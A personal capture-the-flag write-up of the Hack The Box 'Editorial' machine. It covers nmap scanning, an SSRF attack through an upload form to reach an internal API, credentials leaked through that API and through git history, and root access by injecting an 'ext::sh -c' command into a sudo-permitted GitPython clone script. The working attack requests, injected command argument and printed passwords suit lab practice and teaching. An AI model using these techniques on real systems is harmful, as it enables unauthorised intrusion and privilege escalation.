https://www.hackthebox.com/machines/Editorial

OS: Linux

10.129.15.185

Credentials:

UsernamePasswordNotes/Hash
devdev080217_devAPI!@leaked password from vulnerable SSRF api
prod080217_Producti0n_2023!@from git enumeration in dev home directory

nmap results:

# Nmap 7.99 scan initiated Thu Jun 11 22:59:02 2026 as: /usr/lib/nmap/nmap -p- --open -sC -sV -A -vv -oA nmap/Editorial 10.129.15.185
Nmap scan report for 10.129.15.185
Host is up, received reset ttl 63 (0.016s latency).
Scanned at 2026-06-11 22:59:02 EDT for 21s
Not shown: 65289 closed tcp ports (reset), 244 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
|   256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

modify /etc/hosts

echo "10.129.15.185 editorial.htb" >> /etc/hosts

then rescan HTTP with nmap default scripts:

# Nmap 7.99 scan initiated Thu Jun 11 23:04:00 2026 as: /usr/lib/nmap/nmap -p80 -sC -sV -vv -oA nmap/HTTPDefaultScan 10.129.15.185
Nmap scan report for editorial.htb (10.129.15.185)
Host is up, received reset ttl 63 (0.015s latency).
Scanned at 2026-06-11 23:04:00 EDT for 7s

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Attack + Enum Vectors

  • TCP 80: HTTP nginx 1.18.0
  • TCP 22: SSH OpenSSH 8.9p1

UDP (161 SNMP)?

  • closed

Service Enum Notes:

Web Service: Gobuster / fuff

Alright so after browsing around I have decided that it’s time to add new methodologies: from 0xdf we know this box requires using the SSRF attack, open up Burp Suite:

http://editorial.htb/upload

and enter http://localhost:[port] in the cover URL image and click on preview:

Then on Burp Suite we see:

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary42a1960b4f15e7dea95b2b0c083f3c88
Content-Length: 350
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload
Priority: u=0

------geckoformboundary42a1960b4f15e7dea95b2b0c083f3c88
Content-Disposition: form-data; name="bookurl"

http://localhost:22
------geckoformboundary42a1960b4f15e7dea95b2b0c083f3c88
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------geckoformboundary42a1960b4f15e7dea95b2b0c083f3c88--

and the request returns:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 12 Jun 2026 05:22:00 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 61

/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

if we do:

http://localhost:80

appearantly it hangs, but at 22 it doesnt and for every other weird port it returns the same thing for some reason. Let’s save it: Ctrl + A -> save selected text to file

ffuf -u http://editorial.htb/upload-cover -request ssrf.request -w <(seq 0 65535) -ac

whoops I forgot to modify 22 to FUZZ parameter

:: Progress: [1/1] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

let’s edit the request and change 22 to FUZZ and re-run:

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 221ms]
:: Progress: [65536/65536] :: Job [1/1] :: 218 req/sec :: Duration: [0:03:59] :: Errors: 2 ::

Now let’s enumerate that port 5000


Initial Foothold

On Burp Suite with repeater:

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary42a1960b4f15e7dea95b2b0c083f3c88
Content-Length: 350
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload
Priority: u=0

------geckoformboundary42a1960b4f15e7dea95b2b0c083f3c88
Content-Disposition: form-data; name="bookurl"

http://localhost:5000
------geckoformboundary42a1960b4f15e7dea95b2b0c083f3c88
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------geckoformboundary42a1960b4f15e7dea95b2b0c083f3c88--

yields an upload:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 12 Jun 2026 05:38:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51

static/uploads/4e69c249-125c-4176-b91b-66b1429e32d7

trying to access that web link did not work on firefox:

but with curl yields:

{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

which returned the APIs, enumerating them, /api/latest/metadata/messages/authors returned results which we can see a password and a username:

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

dev:dev080217_devAPI!@

Now let’s try to use ssh to log on to the user:

we got in as dev!


Priv Esc

ls -lah

we see there’s a /apps in the home directory:

ls -lahR

and we see /apps has a .git directory with commitments

cd /apps

and view the git logs:

git logs

shows a few commitments:

git diff 8ad0f3187e2bda88bba85074635ea942974587e8 1e84a036b2f33c59e2390730699a488c65643d28

shows:

diff --git a/app_api/app.py b/app_api/app.py
index 9d7e1d5..61b786f 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,11 +64,11 @@ def index():
 @app.route(api_route + '/authors/message', methods=['GET'])
 def api_mail_new_authors():
     return jsonify({
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
     }) # TODO: replace dev credentials when checks pass
 
 # -------------------------------
 # Start program
 # -------------------------------
 if __name__ == '__main__':
-    app.run(host='127.0.0.1', port=5000)
+    app.run(host='127.0.0.1', port=5001, debug=True)
diff --git a/app_editorial/app.py b/app_editorial/app.py
index 4855487..9cb0117 100644
--- a/app_editorial/app.py
+++ b/app_editorial/app.py
@@ -22,7 +22,7 @@ def request_reject_localhost(url_bookcover):
 
 # -- Editorial information (API)
 def api_editorial_info(key):
-    r = requests.get('http://127.0.0.1:5000/api')
+    r = requests.get('http://127.0.0.1:5001/api')
     json_editorial_info = json.loads(r.text)
 
     editorial_api_version = list(json_editorial_info['version'][-1].keys())[0]
@@ -105,4 +105,4 @@ def about():
 # Start program
 # -------------------------------
 if __name__ == '__main__':
-    app.run(host='0.0.0.0')
+    app.run(host='0.0.0.0', debug=True)

and we see a user and a password: prod:080217_Producti0n_2023!@

now let’s switch to user:

su prod
080217_Producti0n_2023!@

we moved laterally to prod successfully!

sudo -l

yields:

(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
ls -lah /opt/internal_apps/clone_changes/clone_prod_change.py
-rwxr-x--- 1 root prod 256 Jun  4  2024 /opt/internal_apps/clone_changes/clone_prod_change.py

so we can read and execute the file, but not change it; we can’t hijack it.

cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

I don’t think os and sys library are vulnerable? Let’s first google :

git Repo library privilege escalation exploit

and found:

https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858

So if we inject our malicious code:

ext::sh -c touch% /tmp/pwned

and try:

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'

then look in /tmp:

ls /tmp

we see pwned successfully, so we have code execution!

Let’s add SUID bit to /bin/bash:

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod +s /bin/bash'

and

/bin/bash -p

It didn’t work..?

Looking at the exploit again: I guess we need to add % infront of space:

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% +s% /bin/bash'

and

/bin/bash -p

There we go! we got root shell.

Therefore pwn’d.


Conclusion & Remediation

This box definitely was not the easiest box, but required different knowledge that I didn’t know about and learned throughout. The review of the concepts of SSRF outside of Active Directory environments might be very useful for me in the future.

To remediate for similar attacks appeared in the lab: system administrators should avoid SSRF on any input that can take URLs, and make sure apis don’t leak important credentials that could give attackers access. Lastly, misconfigured sudo scripts should be removed to follow the principle of least privileges. At the very least, libraries exploitable to local privilege escalation vulnerabilities needs to be updated to the latest version that patches out the vulnerability